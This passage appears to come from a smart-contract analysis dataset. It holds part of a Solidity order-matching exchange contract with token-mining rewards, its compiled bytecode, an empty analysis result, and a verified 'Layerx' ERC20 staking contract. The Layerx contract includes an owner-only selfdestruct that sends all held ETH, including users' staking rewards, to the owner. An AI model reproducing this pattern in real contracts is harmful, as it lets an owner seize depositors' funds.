8e17 / 1e18; } else if (unmined > 200000000e18 && unmined <= 300000000e18){ return initialRate * 7e17 / 1e18; } else if (unmined > 100000000e18 && unmined <= 200000000e18){ return initialRate * 6e17 / 1e18; } else if(unmined <= 100000000e18) { return initialRate * 5e17 / 1e18; } } function trade( address[5] addrs, uint[11] vals, uint8[3] v, bytes32[6] rs ) public onlyNotPaused returns (bool) // addrs: // addrs[0] baseToken // addrs[1] quoteToken // addrs[2] buyer // addrs[3] seller // addrs[4] signer // vals: // vals[0] buyVolume // vals[1] buyFund // vals[2] buyNonce // vals[3] sellVolume // vals[4] sellFund // vals[5] sellNonce // vals[6] tradeVolume // vals[7] tradeFund // vals[8] tradeNonce // vals[9] buyerFee // vals[10] sellerFee // v: // v[0] buyV // v[1] sellV // v[2] tradeV // rs: // rs[0] buyR // rs[1] buyS // rs[2] sellR // rs[3] sellS // rs[4] tradeR // rs[5] tradeS { require(signers[addrs[4]]); require(cancels[addrs[2]] < vals[2]); require(cancels[addrs[3]] < vals[5]); require(vals[6] > 0 && vals[7] > 0 && vals[8] > 0); require(vals[1] >= vals[7] && vals[4] >= vals[7]); require(msg.sender == addrs[2] || msg.sender == addrs[3] || msg.sender == addrs[4]); bytes32 buyHash = keccak256(address(this), addrs[0], addrs[1], addrs[2], vals[0], vals[1], vals[2]); bytes32 sellHash = keccak256(address(this), addrs[0], addrs[1], addrs[3], vals[3], vals[4], vals[5]); require(isValidSignature(addrs[2], buyHash, v[0], rs[0], rs[1])); require(isValidSignature(addrs[3], sellHash, v[1], rs[2], rs[3])); bytes32 tradeHash = keccak256(this, buyHash, sellHash, addrs[4], vals[6], vals[7], vals[8], vals[9], vals[10]); require(isValidSignature(addrs[4], tradeHash, v[2], rs[4], rs[5])); require(!traded[tradeHash]); traded[tradeHash] = true; require(safeAdd(orderFills[buyHash], vals[6]) <= vals[0]); require(safeAdd(orderFills[sellHash], vals[6]) <= vals[3]); // balances[quoteToken][buyer] > tradeFund require(balances[addrs[1]][addrs[2]] >= vals[7]); // balances[quoteToken][buyer] -= tradeFund balances[addrs[1]][addrs[2]] = safeSub(balances[addrs[1]][addrs[2]], vals[7]); // balances[baseToken][seller] > tradeVolume require(balances[addrs[0]][addrs[3]] >= vals[6]); // balances[baseToken][seller] -= tradeVolume balances[addrs[0]][addrs[3]] = safeSub(balances[addrs[0]][addrs[3]], vals[6]); // balances[baseToken][buyer] += tradeVolume - tradeVolume * buyFee balances[addrs[0]][addrs[2]] = safeAdd(balances[addrs[0]][addrs[2]], safeSub(vals[6], (safeMul(vals[6], vals[9]) / 1 ether))); // balances[quoteToken][seller] += tradeFund - tradeFund * sellFee balances[addrs[1]][addrs[3]] = safeAdd(balances[addrs[1]][addrs[3]], safeSub(vals[7], (safeMul(vals[7], vals[10]) / 1 ether))); balances[addrs[0]][feeAccount] = safeAdd(balances[addrs[0]][feeAccount], safeMul(vals[6], vals[9]) / 1 ether); balances[addrs[1]][feeAccount] = safeAdd(balances[addrs[1]][feeAccount], safeMul(vals[7], vals[10]) / 1 ether); orderFills[buyHash] = safeAdd(orderFills[buyHash], vals[6]); orderFills[sellHash] = safeAdd(orderFills[sellHash], vals[6]); Trade(addrs[0], addrs[1], vals[6], vals[7], vals[8], addrs[2], addrs[3]); // Reward BEYs to buyer and seller if(unmined > 0) { if(miningRate[addrs[1]] > 0){ uint256 minedBEY = safeMul(safeMul(vals[7], getMiningRate(addrs[1])), 2) / (1 ether); if(unmined > minedBEY) { mined[addrs[2]] = safeAdd(mined[addrs[2]], safeSub(minedBEY, minedBEY / 2)); mined[addrs[3]] = safeAdd(mined[addrs[3]], minedBEY / 2); unmined = safeSub(unmined, minedBEY); } else { mined[addrs[2]] = safeAdd(mined[addrs[2]], safeSub(unmined, unmined / 2)); mined[addrs[3]] = safeAdd(mined[addrs[3]], unmined / 2); unmined = 0; } } } return true; } function claim() public returns(bool) { require(mined[msg.sender] > 0); require(BEY != address(0)); uint256 amount = mined[msg.sender]; mined[msg.sender] = 0; require(Token(BEY).transfer(msg.sender, amount)); Claim(msg.sender, amount); return true; } function claimByTeam() public onlyOwner returns(bool) { uint256 totalMined = safeSub(totalForMining, unmined); require(totalMined > 0); uint256 released = safeMul(teamLocked, totalMined) / totalForMining; uint256 amount = safeSub(released, teamClaimed); require(amount > 0); teamClaimed = released; require(Token(BEY).transfer(msg.sender, amount)); Claim(msg.sender, amount); return true; } function cancel( address baseToken, address quoteToken, address user, uint volume, uint fund, uint nonce, uint8 v, bytes32 r, bytes32 s) public onlySigner returns(bool) { bytes32 hash = keccak256(this, baseToken, quoteToken, user, volume, fund, nonce); require(isValidSignature(user, hash, v, r, s)); orderFills[hash] = volume; Cancel(user, hash, nonce); return true; } function isValidSignature( address signer, bytes32 hash, uint8 v, bytes32 r, bytes32 s) public pure returns (bool) { return signer == ecrecover( keccak256("\x19Ethereum Signed Message:\n32", hash), v, r, s ); } }
0x6060604052600436106101925763ffffffff60e060020a600035041663058fe7d981146101a25780630e316ab7146101c65780631077666e146101e557806316c38b3c1461020a5780632f33465214610222578063338b5dea146102355780633f392b4214610257578063432607fc1461031e5780634574f3271461035f5780634b023cf81461037e5780634e71d92d1461039d5780635c975abb146103b0578063635e2cdb146103c357806365e17c9d146103e25780636e0ca71a146104115780637039dcdc14610430578063736c0d5b1461044f5780638163681e1461046e57806389e967731461049c5780638da5cb5b146104af57806399ccbec6146104c2578063a85d3179146104d5578063ae82fcf4146104f4578063bce4d04114610507578063c23f001f14610529578063caaacb121461054e578063d0e30db014610561578063d581332314610569578063d5ca35bc1461057f578063e09ab428146105b8578063eb12d61e146105ce578063f2fde38b146105ed578063f7213db61461060c578063f7888aec14610622575b341561019d57600080fd5b600080fd5b34156101ad57600080fd5b6101c4600160a060020a0360043516602435610647565b005b34156101d157600080fd5b6101c4600160a060020a036004351661067e565b34156101f057600080fd5b6101f86106ba565b60405190815260200160405180910390f35b341561021557600080fd5b6101c460043515156106c0565b341561022d57600080fd5b6101f86106ee565b341561024057600080fd5b6101c4600160a060020a03600435166024356106f4565b341561026257600080fd5b61030a600460a481600560a06040519081016040529190828260a08082843782019150505050509190806101600190600b80602002604051908101604052919082826101608082843782019150505050509190806060019060038060200260405190810160405291908282606080828437820191505050505091908060c001906006806020026040519081016040529190828260c0808284375093955061085b945050505050565b604051901515815260200160405180910390f35b341561032957600080fd5b61030a600160a060020a036004358116906024358116906044351660643560843560a43560ff60c4351660e4356101043561139b565b341561036a57600080fd5b6101f8600160a060020a03600435166114bc565b341561038957600080fd5b6101c4600160a060020a03600435166114ce565b34156103a857600080fd5b61030a611518565b34156103bb57600080fd5b61030a611644565b34156103ce57600080fd5b6101f8600160a060020a036004351661164d565b34156103ed57600080fd5b6103f561165f565b604051600160a060020a03909116815260200160405180910390f35b341561041c57600080fd5b6101f8600160a060020a036004351661166e565b341561043b57600080fd5b6101c4600160a060020a0360043516611680565b341561045a57600080fd5b61030a600160a060020a03600435166116ca565b341561047957600080fd5b61030a600160a060020a036004351660243560ff604435166064356084356116df565b34156104a757600080fd5b6103f56117a7565b34156104ba57600080fd5b6103f56117b6565b34156104cd57600080fd5b61030a6117c5565b34156104e057600080fd5b6101f8600160a060020a0360043516611914565b34156104ff57600080fd5b6101f8611aa3565b341561051257600080fd5b6101c4600160a060020a0360043516602435611aa9565b341561053457600080fd5b6101f8600160a060020a0360043581169060243516611b10565b341561055957600080fd5b6101f8611b2a565b6101c4611b30565b341561057457600080fd5b61030a600435611c09565b341561058a57600080fd5b6101c4600160a060020a0360043581169060243590604435906064351660ff6084351660a43560c435611c1e565b34156105c357600080fd5b61030a600435611ec0565b34156105d957600080fd5b6101c4600160a060020a0360043516611ed5565b34156105f857600080fd5b6101c4600160a060020a0360043516611f14565b341561061757600080fd5b6101f8600435611f6a565b341561062d57600080fd5b6101f8600160a060020a0360043581169060243516611f7c565b60035433600160a060020a0390811691161461066257600080fd5b600160a060020a039091166000908152600e6020526040902055565b60035433600160a060020a0390811691161461069957600080fd5b600160a060020a03166000908152600560205260409020805460ff19169055565b600b5481565b60035433600160a060020a039081169116146106db57600080fd5b600f805460ff1916911515919091179055565b60095481565b600160a060020a0380831660009081526020818152604080832033909416835292905220546107239082611fa5565b600160a060020a038084166000818152602081815260408083203395861684529091528082209490945590926323b872dd92913091869190516020015260405160e060020a63ffffffff8616028152600160a060020a0393841660048201529190921660248201526044810191909152606401602060405180830381600087803b15156107af57600080fd5b6102c65a03f115156107c057600080fd5b5050506040518051905015156107d557600080fd5b600160a060020a0380831660009081526020818152604080832033948516845290915290819020547fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d79285929091859151600160a060020a0394851681529290931660208301526040808301919091526060820192909252608001905180910390a15050565b600f54600090819081908190819060ff161561087657600080fd5b6005600060808b0151600160a060020a0316815260208101919091526040016000205460ff1615156108a757600080fd5b60408801516006600060408c0151600160a060020a03168152602081019190915260400160002054106108d957600080fd5b60a08801516006600060608c0151600160a060020a031681526020810191909152604001600020541061090b57600080fd5b600060c08901511180156109235750600060e0890151115b801561093457506000610100890151115b151561093f57600080fd5b60e088015160208901511015801561095f575060e0880151608089015110155b151561096a57600080fd5b6040890151600160a060020a031633600160a060020a031614806109a357506060890151600160a060020a031633600160a060020a0316145b806109c357506080890151600160a060020a031633600160a060020a0316145b15156109ce57600080fd5b30895160208b015160408c01518b5160208d015160408e01516040516c01000000000000000000000000600160a060020a0398891681028252968816870260148201529487168602602886015292909516909302603c83015260508201929092526070810192909252609082015260b001604051908190039020935030895160208b015160608c015160608c015160808d015160a08e01516040516c01000000000000000000000000600160a060020a0398891681028252968816870260148201529487168602602886015292909516909302603c83015260508201929092526070810192909252609082015260b0016040519081900390209250610ae460408a015185895189518a60015b60200201516116df565b1515610aef57600080fd5b610b0a60608a01518460208a015160408a01518a6003610ada565b1515610b1557600080fd5b30848460808c015160c08c015160e08d01516101008e01516101208f01518f600a60200201516040516c01000000000000000000000000600160a060020a039a8b1681028252601482019990995260348101979097529490971690950260548501526068840191909152608883015260a882019290925260c881019290925260e8820152610108016040519081900390209150610bc360808a01518360408a015160808a01518a6005610ada565b1515610bce57600080fd5b60008281526001602052604090205460ff1615610bea57600080fd5b6000828152600160208190526040909120805460ff191690911790558751600085815260026020526040902054610c29908a60065b6020020151611fa5565b1115610c3457600080fd5b6060880151600084815260026020526040902054610c54908a6006610c1f565b1115610c5f57600080fd5b60e088015160008060208c0151600160a060020a03168152602081019190915260409081016000908120918c0151600160a060020a031681526020810191909152604001600020541015610cb257600080fd5b610d0660008060208c0151600160a060020a03168152602081019190915260409081016000908120918c0151600160a060020a031681526020810191909152604001600020548960075b6020020151611fbb565b60008060208c0151600160a060020a03168152602081019190915260409081016000908120918c0151600160a060020a0316815260208101919091526040016000205560c08801516000808b51600160a060020a03168152602081019190915260400160009081209060608c0151600160a060020a031681526020810191909152604001600020541015610d9957600080fd5b610de46000808b51600160a060020a03168152602081019190915260400160009081209060608c0151600160a060020a03168152602081019190915260400160002054896006610cfc565b6000808b51600160a060020a03168152602081019190915260400160009081209060608c0151600160a060020a031681526020810191909152604001600090812091909155610ea690808b51600160a060020a03168152602081019190915260409081016000908120918c0151600160a060020a03168152602081019190915260400160002054610ea160c08b0151670de0b6b3a7640000610e9260c08e01518e60095b6020020151611fcd565b811515610e9b57fe5b04611fbb565b611fa5565b6000808b51600160a060020a03168152602081019190915260409081016000908120918c0151600160a060020a031681526020810191909152604001600090812091909155610f5490808b60016020020151600160a060020a03168152602081019190915260400160009081209060608c0151600160a060020a03168152602081019190915260400160002054610ea160e08b0151670de0b6b3a7640000610e9260e08e01518e600a610e88565b60008060208c0151600160a060020a03168152602081019190915260400160009081209060608c0151600160a060020a031681526020810191909152604001600090812091909155610ff890808b51600160a060020a0390811682526020808301939093526040918201600090812060045490921681529252902054670de0b6b3a7640000610fe960c08c01518c6009610e88565b811515610ff257fe5b04611fa5565b6000808b51600160a060020a039081168252602080830193909352604091820160009081206004549092168152925281209190915561108090808b60016020020151600160a060020a0390811682526020808301939093526040918201600090812060045490921681529252902054670de0b6b3a7640000610fe960e08c01518c600a610e88565b60008060208c0151600160a060020a0390811682526020808301939093526040918201600090812060045490921681529083528181209390935586835260029091529020546110d190896006610c1f565b6000858152600260205260408082209290925584815220546110f590896006610c1f565b6000848152600260205260409020557fcb447c504d94c8c3546a4117cbb870c63ac178060c45e3afbbc2164501499628895160208b015160c08b015160e08c01516101008d015160408f01518f60036020020151604051600160a060020a039788168152958716602087015260408087019590955260608601939093526080850191909152841660a084015290921660c082015260e001905180910390a16000600b54111561138c576000600e8160208c0151600160a060020a0316600160a060020a0316815260200190815260200160002054111561138c57670de0b6b3a76400006111fc6111f560e08b01516111f060208e0151611914565b611fcd565b6002611fcd565b81151561120557fe5b04905080600b5411156112d257611244600c600060408c0151600160a060020a03168152602081019190915260400160002054610ea183600281610e9b565b600c600060408c0151600160a060020a03168152602081019190915260400160009081209190915561129a90600c9060608c0151600160a060020a03168152602081019190915260400160002054600283610ff2565b600c600060608c0151600160a060020a03168152602081019190915260400160002055600b546112ca9082611fbb565b600b5561138c565b611307600c600060408c0151600160a060020a03168152602081019190915260400160002054600b54610ea190600281610e9b565b600c600060408c0151600160a060020a03168152602081019190915260400160009081209190915561136090600c9060608c0151600160a060020a03168152602081019190915260400160002054600b54600290610ff2565b600c600060608c0151600160a060020a031681526020810191909152604001600090812091909155600b555b50600198975050505050505050565b600160a060020a033316600090815260056020526040812054819060ff1615156113c457600080fd5b308b8b8b8b8b8b6040516c01000000000000000000000000600160a060020a0398891681028252968816870260148201529487168602602886015292909516909302603c83015260508201929092526070810192909252609082015260b0016040518091039020905061143a89828787876116df565b151561144557600080fd5b600081815260026020526040908190208990557fcf2d1b815b936adb435f34e35cce04122b5bbbf57faf74ac5e32dd1b1100d3ab908a908390899051600160a060020a03909316835260208301919091526040808301919091526060909101905180910390a15060019a9950505050505050505050565b600c6020526000908152604090205481565b60035433600160a060020a039081169116146114e957600080fd5b6004805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600160a060020a0333166000908152600c6020526040812054819081901161153f57600080fd5b600d54600160a060020a0316151561155657600080fd5b50600160a060020a03338181166000908152600c6020526040808220805490839055600d549094169263a9059cbb929091859190516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156115d257600080fd5b6102c65a03f115156115e357600080fd5b5050506040518051905015156115f857600080fd5b7f47cee97cb7acd717b3c0aa1435d004cd5b3c8c57d70dbceb4e4458bbd60e39d43382604051600160a060020a03909216825260208201526040908101905180910390a1600191505090565b600f5460ff1681565b60066020526000908152604090205481565b600454600160a060020a031681565b600e6020526000908152604090205481565b60035433600160a060020a0390811691161461169b57600080fd5b600d805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60056020526000908152604090205460ff1681565b60006001856040517f19457468657265756d205369676e6564204d6573736167653a0a3332000000008152601c810191909152603c0160405180910390208585856040516000815260200160405260006040516020015260405193845260ff90921660208085019190915260408085019290925260608401929092526080909201915160208103908084039060008661646e5a03f1151561177f57600080fd5b505060206040510351600160a060020a031686600160a060020a031614905095945050505050565b600d54600160a060020a031681565b600354600160a060020a031681565b60035460009081908190819033600160a060020a039081169116146117e957600080fd5b6117f7600a54600b54611fbb565b92506000831161180657600080fd5b600a5461181560085485611fcd565b81151561181e57fe5b04915061182d82600954611fbb565b90506000811161183c57600080fd5b6009829055600d54600160a060020a031663a9059cbb338360006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b15156118a057600080fd5b6102c65a03f115156118b157600080fd5b5050506040518051905015156118c657600080fd5b7f47cee97cb7acd717b3c0aa1435d004cd5b3c8c57d70dbceb4e4458bbd60e39d43382604051600160a060020a03909216825260208201526040908101905180910390a16001935050505090565b600160a060020a0381166000908152600e6020526040812054600b546b019d971e4fe8401e7400000090111561194c57809150611a9d565b6b014adf4b7320334b90000000600b5411801561197757506b019d971e4fe8401e74000000600b5411155b1561199957670de0b6b3a7640000670c7d713b49da000082025b049150611a9d565b6af8277896582678ac000000600b541180156119c357506b014adf4b7320334b90000000600b5411155b156119e157670de0b6b3a7640000670b1a2bc2ec5000008202611991565b6aa56fa5b99019a5c8000000600b54118015611a0a57506af8277896582678ac000000600b5411155b15611a2857670de0b6b3a76400006709b6e64a8ec600008202611991565b6a52b7d2dcc80cd2e4000000600b54118015611a5157506aa56fa5b99019a5c8000000600b5411155b15611a6f57670de0b6b3a7640000670853a0d2313c00008202611991565b600b546a52b7d2dcc80cd2e40000009011611a9d57670de0b6b3a76400006706f05b59d3b200008202611991565b50919050565b60085481565b600160a060020a03331660009081526005602052604090205460ff161515611ad057600080fd5b600160a060020a0382166000908152600660205260409020548111611af457600080fd5b600160a060020a03909116600090815260066020526040902055565b600060208181529281526040808220909352908152205481565b600a5481565b33600160a060020a031660009081527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb56020526040902054611b729034611fa5565b33600160a060020a03811660009081527fad3228b676f7d3cd4284a5443f17f1962b36e491b30a40b2405849e597ba5fb560205260408082208490557fdcbc1c05240f31ff3ad067ef1ee35ce4997762752e3a095284754544f4c709d793919291349151600160a060020a0394851681529290931660208301526040808301919091526060820192909252608001905180910390a1565b60016020526000908152604090205460ff1681565b600160a060020a038088166000908152602081815260408083203390941683529290529081205487901015611c5257600080fd5b600160a060020a03851660009081526005602052604090205460ff161515611c7957600080fd5b30338989896040516c01000000000000000000000000600160a060020a039687168102825294861685026014820152929094169092026028820152603c810191909152605c810191909152607c0160405180910390209050611cde85828686866116df565b1515611ce957600080fd5b60008181526007602052604090205460ff1615611d0557600080fd5b6000818152600760209081526040808320805460ff19166001179055600160a060020a03808c168452838352818420339091168452909152902054611d4a9088611fbb565b600160a060020a03808a1660008181526020818152604080832033909516835293905291909120919091551515611db157600160a060020a03331687156108fc0288604051600060405180830381858888f193505050501515611dac57600080fd5b611e34565b87600160a060020a031663a9059cbb338960006040516020015260405160e060020a63ffffffff8516028152600160a060020a0390921660048301526024820152604401602060405180830381600087803b1515611e0e57600080fd5b6102c65a03f11515611e1f57600080fd5b505050604051805190501515611e3457600080fd5b600160a060020a0380891660009081526020818152604080832033948516845290915290819020547ff341246adaac6f497bc2a656f546ab9e182111d630394f0c57c710a59a2cb567928b9290918b9151600160a060020a0394851681529290931660208301526040808301919091526060820192909252608001905180910390a15050505050505050565b60076020526000908152604090205460ff1681565b60035433600160a060020a03908116911614611ef057600080fd5b600160a060020a03166000908152600560205260409020805460ff19166001179055565b60035433600160a060020a03908116911614611f2f57600080fd5b600160a060020a03811615611f67576003805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b60026020526000908152604090205481565b600160a060020a0391821660009081526020818152604080832093909416825291909152205490565b600082820183811015611fb457fe5b9392505050565b600082821115611fc757fe5b50900390565b6000828202831580611fe95750828482811515611fe657fe5b04145b1515611fb457fe00a165627a7a7230582066eb19dd24c29df5a54d65dddbac639c6807599cdca545cc8428f0a625ebc5c00029
{"success": true, "error": null, "results": {}}
5,835
0xfe56e974c1c85e9351325fb2d62963a022ad624f
/** *Submitted for verification at Etherscan.io on 2021-04-17 */ pragma solidity ^0.5.0; /** * @title SafeMath * @dev Unsigned math operations with safety checks that revert on error */ library SafeMath { /** * @dev Multiplies two unsigned integers, reverts on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256){ if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b,"Calculation error"); return c; } /** * @dev Integer division of two unsigned integers truncating the quotient, reverts on division by zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256){ // Solidity only automatically asserts when dividing by 0 require(b > 0,"Calculation error"); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Subtracts two unsigned integers, reverts on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256){ require(b <= a,"Calculation error"); uint256 c = a - b; return c; } /** * @dev Adds two unsigned integers, reverts on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256){ uint256 c = a + b; require(c >= a,"Calculation error"); return c; } /** * @dev Divides two unsigned integers and returns the remainder (unsigned integer modulo), * reverts when dividing by zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256){ require(b != 0,"Calculation error"); return a % b; } } /** * @title ERC20 interface * @dev see https://eips.ethereum.org/EIPS/eip-20 */ interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Owned { address public owner; event OwnershipTransferred(address indexed _from, address indexed _to); modifier onlyOwner { require(msg.sender == owner); _; } function transferOwnership(address _newOwner) public onlyOwner { require(_newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(owner, _newOwner); owner = _newOwner; } } contract ApproveAndCallFallBack { function receiveApproval(address from, uint256 tokens, address token, bytes memory data) public; } /** * @title Layerx Contract For ERC20 Tokens * @dev LAYERX tokens as per ERC20 Standards */ contract Layerx is IERC20, Owned { using SafeMath for uint256; string public symbol; string public name; uint8 public decimals; uint _totalSupply; uint public totalEthRewards = 0; uint stakeNum = 0; uint amtByDay = 27397260274000000000; uint public stakePeriod = 30 days; address public stakeCreator; bool isPaused = false; struct Stake { uint start; uint end; uint layerLockedTotal; uint layerxReward; uint ethReward; } struct StakeHolder { uint layerLocked; uint firstStake; uint time; } struct Rewards { uint layerLocked; uint layersx; uint eth; bool isReceived; } event logLockedTokens(address holder, uint amountLocked, uint timeLocked, uint stakeId); event logUnlockedTokens(address holder, uint amountUnlocked, uint timeUnlocked); event logWithdraw(address holder, uint layerx, uint eth, uint stakeId, uint time); event logCloseStake(uint id, uint amount, uint timeClosed); modifier paused { require(isPaused == false, "This contract was paused by the owner!"); _; } modifier exist (uint index) { require(index <= stakeNum, 'This stake does not exist.'); _; } mapping (address => StakeHolder) public stakeHolders; mapping (uint => Stake) public stakes; mapping (address => mapping (uint => Rewards)) public rewards; mapping (address => uint) balances; mapping (address => mapping(address => uint)) allowed; mapping (address => bool) private swap; IERC20 UNILAYER = IERC20(0x0fF6ffcFDa92c53F615a4A75D982f399C989366b); constructor(address _owner) public { owner = _owner; stakeCreator = owner; symbol = "LAYERX"; name = "UNILAYERX"; decimals = 18; _totalSupply = 40000 * 10**uint(decimals); balances[owner] = _totalSupply; emit Transfer(address(0), owner, _totalSupply); stakes[0] = Stake(now, 0, 0, 0, 0); } /** * @dev Total number of tokens in existence. */ function totalSupply() public view returns (uint) { return _totalSupply.sub(balances[address(0)]); } /** * @dev Gets the balance of the specified address. * @param tokenOwner The address to query the balance of. * @return A uint256 representing the amount owned by the passed address. */ function balanceOf(address tokenOwner) public view returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); emit Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public view returns (uint remaining) { return allowed[tokenOwner][spender]; } function approveAndCall(address spender, uint tokens, bytes memory data) public returns (bool success) { allowed[msg.sender][spender] = tokens; emit Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, address(this), data); return true; } /** * @dev Burns a specific amount of tokens. * @param value The amount of token to be burned. */ function burn(uint256 value) public onlyOwner { require(value > 0, "Invalid Amount."); require(_totalSupply >= value, "Invalid account state."); require(balances[owner] >= value, "Invalid account balances state."); _totalSupply = _totalSupply.sub(value); balances[owner] = balances[owner].sub(value); emit Transfer(owner, address(0), value); } /** * @dev Set new Stake Creator address. * @param _stakeCreator The address of the new Stake Creator. */ function setNewStakeCreator(address _stakeCreator) external onlyOwner { require(_stakeCreator != address(0), 'Do not use 0 address'); stakeCreator = _stakeCreator; } /** * @dev Set new pause status. * @param newIsPaused The pause status: 0 - not paused, 1 - paused. */ function setIsPaused(bool newIsPaused) external onlyOwner { isPaused = newIsPaused; } /** * @dev Set new Stake Period. * @param newStakePeriod indicates new stake period, it was 7 days by default. */ function setStakePeriod(uint256 newStakePeriod) external onlyOwner { stakePeriod = newStakePeriod; } /** * @dev Stake LAYER tokens for earning rewards, Tokens will be deducted from message sender account * @param payment Amount of LAYER to be staked in the pool */ function lock(uint payment) external paused { require(payment > 0, 'Payment must be greater than 0.'); require(UNILAYER.balanceOf(msg.sender) >= payment, 'Holder does not have enough tokens.'); require(UNILAYER.allowance(msg.sender, address(this)) >= payment, 'Call Approve function firstly.'); UNILAYER.transferFrom(msg.sender, address(this), payment); StakeHolder memory holder = stakeHolders[msg.sender]; Stake memory stake = stakes[stakeNum]; if(holder.layerLocked == 0) { holder.firstStake = stakeNum; holder.time = now; } else if(holder.layerLocked > 0 && stakeNum > holder.firstStake) { Rewards memory rwds = rewards[msg.sender][stakeNum-1]; require(rwds.isReceived == true,'Withdraw your rewards.'); } holder.layerLocked = holder.layerLocked.add(payment); stakeHolders[msg.sender] = holder; stake.layerLockedTotal = stake.layerLockedTotal.add(payment); stakes[stakeNum] = stake; emit logLockedTokens(msg.sender, payment, now, stakeNum); } /** * @dev Withdraw My Staked Tokens from staker pool */ function unlock() external paused { StakeHolder memory holder = stakeHolders[msg.sender]; uint amt = holder.layerLocked; require(amt > 0, 'You do not have locked tokens.'); require(UNILAYER.balanceOf(address(this)) >= amt, 'Insufficient account balance!'); if(holder.layerLocked > 0 && stakeNum > 0) { Rewards memory rwds = rewards[msg.sender][stakeNum-1]; require(rwds.isReceived == true,'Withdraw your rewards.'); } Stake memory stake = stakes[stakeNum]; stake.layerLockedTotal = stake.layerLockedTotal.sub(holder.layerLocked); stakes[stakeNum] = stake; delete stakeHolders[msg.sender]; UNILAYER.transfer(msg.sender, amt); emit logUnlockedTokens(msg.sender, amt, now); } /** * @dev Stake Creator finalizes the stake, the stake receives the accumulated ETH as reward and calculates everyone's percentages. */ function closeStake() external { require(msg.sender == stakeCreator, 'You cannot call this function'); Stake memory stake = stakes[stakeNum]; require(now >= stake.start.add(stakePeriod), 'You cannot call this function until stakePeriod is over'); stake.end = now; stake.ethReward = stake.ethReward.add(totalEthRewards); uint amtLayerx = stake.end.sub(stake.start).mul(amtByDay).div(1 days); if(amtLayerx > balances[owner]) { amtLayerx = balances[owner]; } stake.layerxReward = amtLayerx; stakes[stakeNum] = stake; emit logCloseStake(stakeNum, totalEthRewards, now); stakeNum++; stakes[stakeNum] = Stake(now, 0, stake.layerLockedTotal, 0, 0); totalEthRewards = 0; } /** * @dev Withdraw Reward Layerx Tokens and ETH * @param index Stake index */ function withdraw(uint index) external paused exist(index) { Rewards memory rwds = rewards[msg.sender][index]; Stake memory stake = stakes[index]; StakeHolder memory holder = stakeHolders[msg.sender]; uint endTime = holder.time + stakePeriod; require(endTime <= now, 'Wait the minimum time'); require(stake.end <= now, 'Invalid date for withdrawal.'); require(rwds.isReceived == false, 'You already withdrawal your rewards.'); require(balances[owner] >= rwds.layersx, 'Insufficient account balance!'); require(address(this).balance >= rwds.eth,'Invalid account state, not enough funds.'); require(index >= holder.firstStake, 'Invalid index.'); if(holder.firstStake != index) { Rewards memory rwdsOld = rewards[msg.sender][index-1]; require(rwdsOld.isReceived == true,'Withdraw your old rewards first.'); } rwds.isReceived = true; rwds.layerLocked = holder.layerLocked; if(rwds.layerLocked > 0) { rwds.layersx = rwds.layerLocked.mul(stake.layerxReward).div(stake.layerLockedTotal); rwds.eth = rwds.layerLocked.mul(stake.ethReward).div(stake.layerLockedTotal); } rewards[msg.sender][index] = rwds; emit logWithdraw(msg.sender, rwds.layersx, rwds.eth, index, now); if(rwds.layersx > 0) { balances[owner] = balances[owner].sub(rwds.layersx); balances[msg.sender] = balances[msg.sender].add(rwds.layersx); emit Transfer(owner, msg.sender, rwds.layersx); } if(rwds.eth > 0) { msg.sender.transfer(rwds.eth); } } /** * @dev Function to get the number of stakes * @return number of stakes */ function getStakesNum() external view returns (uint) { return stakeNum; } function stakeOf(address tokenOwner) public view returns (uint balance) { StakeHolder memory holder = stakeHolders[tokenOwner]; return holder.layerLocked; } /** * @dev Receive ETH and add value to the accumulated eth for stake */ function() external payable { totalEthRewards = totalEthRewards.add(msg.value); } function destroyContract() external onlyOwner { selfdestruct(msg.sender); } }
